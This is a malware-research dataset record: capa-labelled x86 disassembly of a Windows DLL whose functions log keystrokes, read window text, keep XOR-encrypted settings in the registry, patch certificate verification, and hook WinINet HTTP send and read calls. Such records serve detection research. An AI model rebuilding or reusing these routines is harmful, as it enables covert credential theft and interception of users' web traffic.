joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007c80
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x10007dfe
push ebx
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x213]
push ebx
push eax
xor edi, edi
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], ebx
mov byte [ebp - 0x214], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0x101
push ebx
push str.softwaremicrosoft
xor edx, edx
push 0x80000001
mov word [ebp - 0x10], dx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007deb
lea ecx, [ebp - 0xc]
push ecx
mov ecx, dword [ebp + 8]
lea edx, [ebp - 0x214]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 8]
push eax
push ebx
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10007deb
mov word [ebp - 0x10], 1
xor ecx, ecx
jmp 0x10007d40
mov byte [ebp + ecx - 0x110], cl
inc ecx
cmp ecx, 0x100
jl 0x10007d40
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x110], dl
inc eax
cmp eax, 0x20
jl 0x10007d67
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10007d52
lea eax, [ebp - 0x214]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x110]
call fcn.10018160
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10007d93
sub eax, edx
push esi
inc eax
xor esi, esi
cmp eax, ebx
je 0x10007dcb
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x10007dcb
push edi
push ebx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
cmp esi, ebx
je 0x10007dea
lea eax, [ebp - 0x214]
mov edx, eax
sub esi, edx
jmp 0x10007de0
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
cmp cl, bl
jne 0x10007de0
pop esi
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10007df9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, ebx
pop ebx
jne 0x10007e13
mov eax, dword [ebp + 8]
push eax
push 0x80000002
call fcn.10007b00
pop edi
mov esp, ebp
pop ebp
ret 4
mov eax, edi
pop edi
mov esp, ebp
pop ebp
ret 4
Function at 0x10007e20
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
xor ebx, ebx
push 0xff
mov esi, eax
lea eax, [ebp - 0x10b]
push ebx
push eax
mov byte [ebp - 0x10c], bl
call sub.MSVCRT.dll_memset
push 0x103
lea edx, [ebp - 0x20f]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 0xc], cx
mov byte [ebp - 0x210], bl
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x10007eea
lea edx, [ebp - 0x210]
mov eax, esi
sub edx, esi
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10007e80
xor eax, eax
mov word [ebp - 0xc], 1
xor ecx, ecx
jmp 0x10007ea0
mov byte [ebp + ecx - 0x10c], cl
inc ecx
cmp ecx, 0x100
jl 0x10007ea0
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x10c], dl
inc eax
cmp eax, 0x20
jl 0x10007ec7
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10007eb2
lea eax, [ebp - 0x210]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x10c]
call fcn.10018160
mov eax, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007f45
cmp esi, ebx
je 0x10007f27
mov edx, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 1
push ebx
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x10007f32
mov eax, dword [ebp - 4]
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
cmp eax, ebx
jne 0x10007f45
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
or esi, 0xffffffff
jmp 0x10007f47
mov esi, ebx
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x10007f55
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10007fd0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x10008018
nop
push 0x64
call ebx
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x10008000
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edi, edi
mov dword [esp + 0xc], edi
cmp esi, edi
je 0x10008047
lea eax, [esp + 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10008047
test byte [esp + 0xc], 2
jne 0x10008047
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x10059e90], edi
jne 0x10008058
call fcn.10007f60
test eax, eax
je 0x1000809f
push 0x104
lea ecx, [esp + 0x14]
push ecx
push edi
mov dword [0x10059e90], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.10007f60
test eax, eax
je 0x10008093
push 0x10045654
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10008093
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x1004eb00]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x7d0
call ebx
call fcn.10007fd0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100091b0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov ecx, dword [0x10059ea8]
push ebx
push esi
mov esi, dword [0x1004eaf8]
mov al, 1
push edi
mov byte [ebp - 1], al
cmp ecx, dword [ebp + 8]
jne 0x100091e9
mov edx, dword [0x10059eac]
cmp edx, dword [ebp + 0xc]
jne 0x100091e9
mov cl, byte [0x10059e8d]
cmp cl, byte [ebp + 0x10]
je 0x10009331
mov edx, dword [0x1004f62c]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
mov eax, dword [0x1004eb10]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push eax
call edi
mov ecx, dword [0x1004eb04]
push 0xffffffffffffffff
push ecx
call edi
mov edi, dword [esi + 0x2f4]
call fcn.10009020
mov edx, dword [0x1004f59c]
push 0
push 6
push edx
call fcn.1000e380
call fcn.10008f20
mov eax, dword [0x10059eec]
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [0x10059ef4]
mov ebx, eax
mov dword [ebp + 0x10], 0
test eax, eax
je 0x1000926b
lea ecx, [ebp + 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1000926b
test byte [ebp + 0x10], 2
jne 0x1000926b
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x1004f598]
mov eax, dword [edx + 0x11b]
push 0x1004f54c
push eax
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
push 0
push 0
push 0xf001f
push eax
mov dword [0x10059ef4], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x10059eec], eax
test eax, eax
jne 0x100092af
xor bl, bl
jmp 0x10009318
mov ecx, dword [0x1004f598]
mov edx, dword [0x10059eac]
mov eax, dword [0x10059ea8]
movzx ecx, byte [ecx + 0x11a]
push edx
push eax
call fcn.1002a130
test edi, edi
je 0x100092e2
mov ecx, dword [0x1004eaf4]
push edi
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [0x1004f59c]
push 1
push 6
push edx
call fcn.1000e380
movzx eax, word [0x10059eac]
movzx ecx, word [0x10059ea8]
movzx edx, byte [0x10059e8d]
shl eax, 0x10
or eax, ecx
push eax
push edx
push 0x7e
call fcn.1000e380
mov bl, byte [ebp - 1]
mov eax, dword [0x1004eb04]
mov esi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push eax
call esi
mov ecx, dword [0x1004eb10]
push ecx
call esi
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10009be0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov bl, byte [ebp + 0xc]
push esi
push edi
mov edi, eax
xor eax, eax
test bl, bl
setne al
mov byte [ebp - 4], 0
dec eax
and eax, 0xc0000000
mov dword [ebp + 0xc], eax
xor al, al
movzx ecx, al
cmp dword [ecx*8 + 0x10048dc0], edi
je 0x10009c16
inc al
cmp al, 0x58
jb 0x10009c02
jmp 0x10009c39
movzx eax, al
add eax, eax
add eax, eax
mov dl, byte [eax + eax + 0x10048dc4]
add eax, eax
cmp byte [eax + 0x10048dc5], 0
mov byte [ebp - 4], dl
je 0x10009c39
or dword [ebp + 0xc], 0x1000000
mov eax, dword [0x1004eb1c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp byte [ebp - 4], 0
je 0x10009cc1
mov ecx, dword [ebp - 4]
push ecx
mov cl, bl
call fcn.10009df0
movzx edi, byte [ebp - 4]
push 0
push edi
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
test al, al
je 0x10009c72
movzx edx, al
shl edx, 0x10
or dword [ebp + 0xc], edx
mov eax, dword [0x1004f598]
test byte [eax + 0x1a], 0x80
je 0x10009c87
test byte [eax + 0x19], 0x80
jne 0x10009c87
mov al, 1
jmp 0x10009c89
xor al, al
test bl, bl
je 0x10009ca7
xor ecx, ecx
test al, al
setne cl
mov byte [0x1004eb1b], 1
lea esi, [ecx*4 + 0x100]
jmp 0x10009d4a
xor edx, edx
test al, al
setne dl
mov byte [0x1004eb1b], 0
lea esi, [edx*4 + 0x101]
jmp 0x10009d4a
cmp byte [0x1004eb1b], 0
mov esi, dword [0x1004f598]
jne 0x10009cee
cmp byte [0x1004eb1a], 0
je 0x10009d00
add edi, 0xffffffe0
test bl, bl
je 0x10009d3e
mov byte [0x1004eb1a], 1
mov esi, 0x100
jmp 0x10009d4a
test byte [esi + 0x18], 0x80
je 0x10009cd9
cmp byte [esi + 0x1a], 0
jne 0x10009cd9
cmp byte [esi + 0x19], 0
jne 0x10009cd9
test bl, bl
je 0x10009d29
mov eax, edi
call fcn.10009ab0
movzx eax, ax
test ax, ax
je 0x10009d29
test byte [esi + 0x1a], 0x80
je 0x10009d20
or dword [ebp + 0xc], 0x20000000
mov edi, eax
mov esi, 0x102
jmp 0x10009d4a
mov eax, dword [0x1004eb1c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov byte [0x1004eb1a], 0
mov esi, 0x101
mov ecx, dword [0x1004eb1c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov al, byte [ebp - 4]
call fcn.10009b40
test al, al
je 0x10009da7
cmp byte [0x10059e8e], 0
je 0x10009dd8
cmp byte [0x10059ed2], 0
jne 0x10009d88
call fcn.1000d890
pop edi
pop esi
mov byte [0x10059ed2], al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov edx, dword [0x1004f544]
push 0
push 0
push 0xe2ad
push edx
call dword [sym.imp.USER32.dll_SendMessageA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
cmp byte [0x10059e8f], 0
jne 0x10009dd1
mov eax, dword [0x1004f59c]
mov ebx, dword [ebp + 8]
push 0
push 3
push eax
push ebx
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp + 0xc]
push ecx
push edi
push esi
push ebx
call dword [sym.imp.USER32.dll_PostMessageW]
mov byte [0x10059e8f], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000a100
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
movzx esi, ax
shr eax, 0x10
push edi
mov edi, eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], edi
cmp eax, 0x201
ja 0x1000a165
je 0x1000a15c
mov ecx, eax
sub ecx, 0xa1
je 0x1000a151
sub ecx, 3
je 0x1000a146
sub ecx, 3
jne 0x1000a247
mov dword [ebp - 4], 0xa9
mov bl, 1
jmp 0x1000a18a
mov dword [ebp - 4], 0xa6
mov bl, 1
jmp 0x1000a18a
mov dword [ebp - 4], 0xa3
mov bl, 1
jmp 0x1000a18a
mov dword [ebp - 4], 0x203
jmp 0x1000a188
mov ecx, eax
sub ecx, 0x204
je 0x1000a181
sub ecx, 3
jne 0x1000a247
mov dword [ebp - 4], 0x209
jmp 0x1000a188
mov dword [ebp - 4], 0x206
xor bl, bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub esi, dword [0x1004eb20]
sub edi, dword [0x1004eb24]
mov ecx, eax
xor eax, eax
mov dword [ebp - 8], ecx
cmp esi, eax
jge 0x1000a1a9
neg esi
cmp edi, eax
jge 0x1000a1af
neg edi
mov edx, dword [0x10059ec4]
cmp edx, dword [ebp + 8]
jne 0x1000a218
mov edx, dword [0x10059ec8]
cmp edx, dword [ebp + 0xc]
jne 0x1000a218
sub ecx, dword [0x10059ecc]
cmp ecx, 0x3e8
ja 0x1000a218
test bl, bl
jne 0x1000a1e9
mov eax, dword [ebp + 8]
push 0xffffffffffffffe6
push eax
call dword [sym.imp.USER32.dll_GetClassLongA]
test al, 8
je 0x1000a218
xor eax, eax
cmp esi, 2
jg 0x1000a218
cmp edi, 2
jg 0x1000a218
mov dword [0x1004eb20], eax
mov dword [0x1004eb24], eax
mov dword [0x10059ec8], eax
mov dword [0x10059ecc], eax
mov dword [0x10059ec4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov dword [0x10059ec8], ecx
mov ecx, dword [ebp - 0x10]
mov dword [0x10059ecc], edx
mov edx, dword [ebp - 0xc]
mov dword [0x10059ec4], eax
mov eax, dword [ebp + 0xc]
mov dword [0x1004eb20], ecx
mov dword [0x1004eb24], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1000d2b0
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 0
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 1
mov edi, eax
push esi
push edi
call dword [sym.imp.USER32.dll_AttachThreadInput]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push eax
push ecx
push 0xd
push ebx
call dword [sym.imp.USER32.dll_SendMessageA]
push 0
push esi
push edi
mov ebx, eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 0xc

Function at 0x1000d890
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 0
push 0
push 0x1000d860
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
mov dword [ebp - 4], 0
test esi, esi
je 0x1000d8d3
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1000d8d3
test byte [ebp - 4], 2
jne 0x1000d8d3
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1004eb1c]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x1004f598]
mov esi, dword [eax + 0x10c]
xor edx, edx
mov dword [eax + 0x110], 0
mov dword [eax + 0x10c], 0
mov word [eax + 0x114], dx
mov eax, dword [0x1004eb1c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1000d931
push 0
push 0
push 0x215
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.1000dda0
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1000d970
Capabilities:
Encode data using xor
Get hostname

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x1004f588
mov dword [ebp - 4], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0x1004f588
call dword [sym.imp.KERNEL32.dll_lstrlenA]
or ecx, 0xffffffff
mov edx, 0x1004f588
test eax, eax
je 0x1000d9bd
movzx esi, byte [edx]
xor esi, ecx
and esi, 0xff
shr ecx, 8
xor ecx, dword [esi*4 + 0x1004f6c8]
inc edx
dec eax
jne 0x1000d9a4
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
not ecx
mov esi, ecx
push esi
push str.MSCTF.Shared.MAPPING._x
push 0x1004f5a0
call edi
lea ebx, [esi + esi]
push ebx
push str.MSCTF.Shared.MAPPING._x
push 0x1004f54c
call edi
lea ecx, [esi + esi*2]
push ecx
push str.MSCTF.Shared.MAPPING._x
push 0x1004f5dc
call edi
push esi
push str.MSCTF.Shared.MUTEX._x
push 0x1004f670
call edi
push ebx
push str.MSCTF.Shared.MUTEX._x
push 0x1004f630
call edi
add esp, 0x3c
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000dc50
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
push ebx
push esi
push 0x90
lea eax, [ebp - 0xa0]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xa4]
push ecx
mov dword [ebp - 0xa4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0xa0], 5
mov eax, 1
setbe dl
xor ecx, ecx
mov byte [0x1004f390], dl
cpuid
lea esi, [ebp - 0x10]
mov dword [esi], eax
mov dword [esi + 4], ebx
mov dword [esi + 8], ecx
mov dword [esi + 0xc], edx
test dword [ebp - 8], 0x200
pop esi
pop ebx
je 0x1000dcc8
mov dword [0x1004e608], 0x10008b50
mov esp, ebp
pop ebp
ret
test dword [ebp - 4], 0x4000000
je 0x1000dcdb
mov dword [0x1004e608], 0x10008930
mov esp, ebp
pop ebp
ret

Function at 0x1000dce0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0x101
lea eax, [ebp - 0x104]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClassNameA]
mov edx, eax
or eax, 0xffffffff
lea ecx, [ebp - 0x104]
test edx, edx
je 0x1000dd2a
push esi
lea esp, [esp]
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x1004f6c8]
inc ecx
dec edx
jne 0x1000dd10
pop esi
not eax
mov esp, ebp
pop ebp
ret

Function at 0x1000dda0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10059ed4]
sub esp, 0x104
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
push esi
push edi
push 1
push 5
push eax
call ebx
push eax
call ebx
mov edi, dword [sym.imp.USER32.dll_PostMessageA]
mov esi, eax
lea esp, [esp]
push esi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x1000de67
push 0xfffffffffffffff0
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
test eax, 0x40000000
jne 0x1000de4c
push 0x101
lea ecx, [ebp - 0x104]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
or ecx, 0xffffffff
lea edx, [ebp - 0x104]
test eax, eax
je 0x1000de2f
nop
movzx ebx, byte [edx]
xor ebx, ecx
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x1004f6c8]
inc edx
dec eax
jne 0x1000de10
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
not ecx
test ecx, ecx
je 0x1000de46
xor eax, eax
cmp ecx, dword [eax*8 + 0x1004e528]
je 0x1000de7d
inc eax
cmp eax, 0xb
jb 0x1000de37
xor eax, eax
test al, 0x20
je 0x1000de67
push 0
push 0x1b
push 0x100
push esi
call edi
push 0xc01b0000
push 0x1b
push 0x101
push esi
call edi
push 3
push esi
call ebx
mov esi, eax
test esi, esi
jne 0x1000ddd0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, word [eax*8 + 0x1004e52c]
jmp 0x1000de48
Function at 0x10011190
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
push 0
push 0
push str.Crypt32.dll
mov dword [ebp - 0xc], 0xc240c033
mov word [ebp - 8], 0x10
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10011201
push str.CertVerifyCertificateChainPolicy
push eax
call edi
mov esi, eax
test esi, esi
je 0x10011201
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 6
push esi
call ebx
test eax, eax
je 0x10011200
mov eax, dword [ebp - 4]
test eax, eax
je 0x10011200
mov ecx, dword [ebp - 0xc]
mov dx, word [ebp - 8]
mov dword [esi], ecx
lea ecx, [ebp - 4]
push ecx
push eax
push 6
push esi
mov word [esi + 4], dx
call ebx
pop ebx
push 0
push 0
push str.Wininet.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov esi, eax
test esi, esi
je 0x10011316
push 0x10049500
push esi
call edi
test eax, eax
je 0x10011236
push 0x1004fb00
push 0x10010d90
push eax
call fcn.1001a540
push str.HttpSendRequestW
push esi
call edi
test eax, eax
je 0x10011252
push 0x1004fb04
push 0x10010c80
push eax
call fcn.1001a540
push str.HttpSendRequestExA
push esi
call edi
test eax, eax
je 0x1001126e
push 0x1004faf8
push 0x10010f60
push eax
call fcn.1001a540
push str.HttpSendRequestExW
push esi
call edi
test eax, eax
je 0x1001128a
push 0x1004fb14
push 0x10010ea0
push eax
call fcn.1001a540
push str.InternetQueryDataAvailable
push esi
call edi
test eax, eax
je 0x100112a6
push 0x1004fb0c
push 0x10011100
push eax
call fcn.1001a540
push 0x1004956c
push esi
call edi
test eax, eax
je 0x100112c2
push 0x1004fb10
push 0x10011010
push eax
call fcn.1001a540
push str.InternetReadFileExA
push esi
call edi
test eax, eax
je 0x100112de
push 0x1004fafc
push 0x100110b0
push eax
call fcn.1001a540
push str.InternetReadFileExW
push esi
call edi
test eax, eax
je 0x100112fa
push 0x1004faec
push 0x10011060
push eax
call fcn.1001a540
push 0x100495a8
push esi
call edi
test eax, eax
je 0x10011316
push 0x1004faf0
push 0x10010900
push eax
call fcn.1001a540
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10011650
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x213]
push ebx
push eax
xor edi, edi
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 4], ebx
mov byte [ebp - 0x214], bl
call sub.MSVCRT.dll_memset
push 0xff
lea ecx, [ebp - 0x10f]
push ebx
push ecx
mov byte [ebp - 0x110], bl
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0x101
push ebx
push str.softwaremicrosoft
xor edx, edx
push ecx
mov word [ebp - 0x10], dx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100117ab
lea edx, [ebp - 0xc]
push edx
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 8]
push ecx
push ebx
push 0x1005ab00
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100117ab
mov word [ebp - 0x10], 1
xor ecx, ecx
lea esp, [esp]
mov byte [ebp + ecx - 0x110], cl
inc ecx
cmp ecx, 0x100
jl 0x10011700
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x110], dl
inc eax
cmp eax, 0x20
jl 0x10011727
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10011712
lea eax, [ebp - 0x214]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x110]
call fcn.10018160
lea eax, [ebp - 0x214]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10011753
sub eax, edx
push esi
inc eax
xor esi, esi
cmp eax, ebx
je 0x1001178b
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
cmp esi, ebx
je 0x1001178b
push edi
push ebx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, esi
cmp esi, ebx
je 0x100117aa
lea eax, [ebp - 0x214]
mov edx, eax
sub esi, edx
jmp 0x100117a0
mov cl, byte [eax]
mov byte [esi + eax], cl
inc eax
cmp cl, bl
jne 0x100117a0
pop esi
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100117b9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100117d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push edi
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
push 0x103
lea edx, [ebp - 0x20b]
xor ecx, ecx
push ebx
push edx
mov word [ebp - 8], cx
mov byte [ebp - 0x20c], bl
call sub.MSVCRT.dll_memset
add esp, 0x18
xor edi, edi
mov dword [ebp - 4], ebx
cmp esi, ebx
je 0x100118f6
lea edx, [ebp - 0x20c]
mov eax, esi
sub edx, esi
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x10011830
xor eax, eax
mov word [ebp - 8], 1
xor ecx, ecx
jmp 0x10011850
mov byte [ebp + ecx - 0x108], cl
inc ecx
cmp ecx, 0x100
jl 0x10011850
xor ecx, ecx
mov dl, byte [eax + str.6d3ad29879a90b4dd1b4f76e82166ca3]
xor byte [ebp + ecx - 0x108], dl
inc eax
cmp eax, 0x20
jl 0x10011877
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10011862
lea eax, [ebp - 0x20c]
push eax
mov ecx, eax
push ecx
mov edx, 0x104
lea eax, [ebp - 0x108]
call fcn.10018160
mov eax, dword [ebp + 8]
lea edx, [ebp - 4]
push edx
push 0x102
push ebx
push str.softwaremicrosoft
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100118e8
mov edx, dword [ebp - 4]
push 0x104
lea ecx, [ebp - 0x20c]
push ecx
push 1
push ebx
push 0x1005ab00
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x100118e8
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edi, 1
mov eax, dword [ebp - 4]
cmp eax, ebx
je 0x100118f6
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4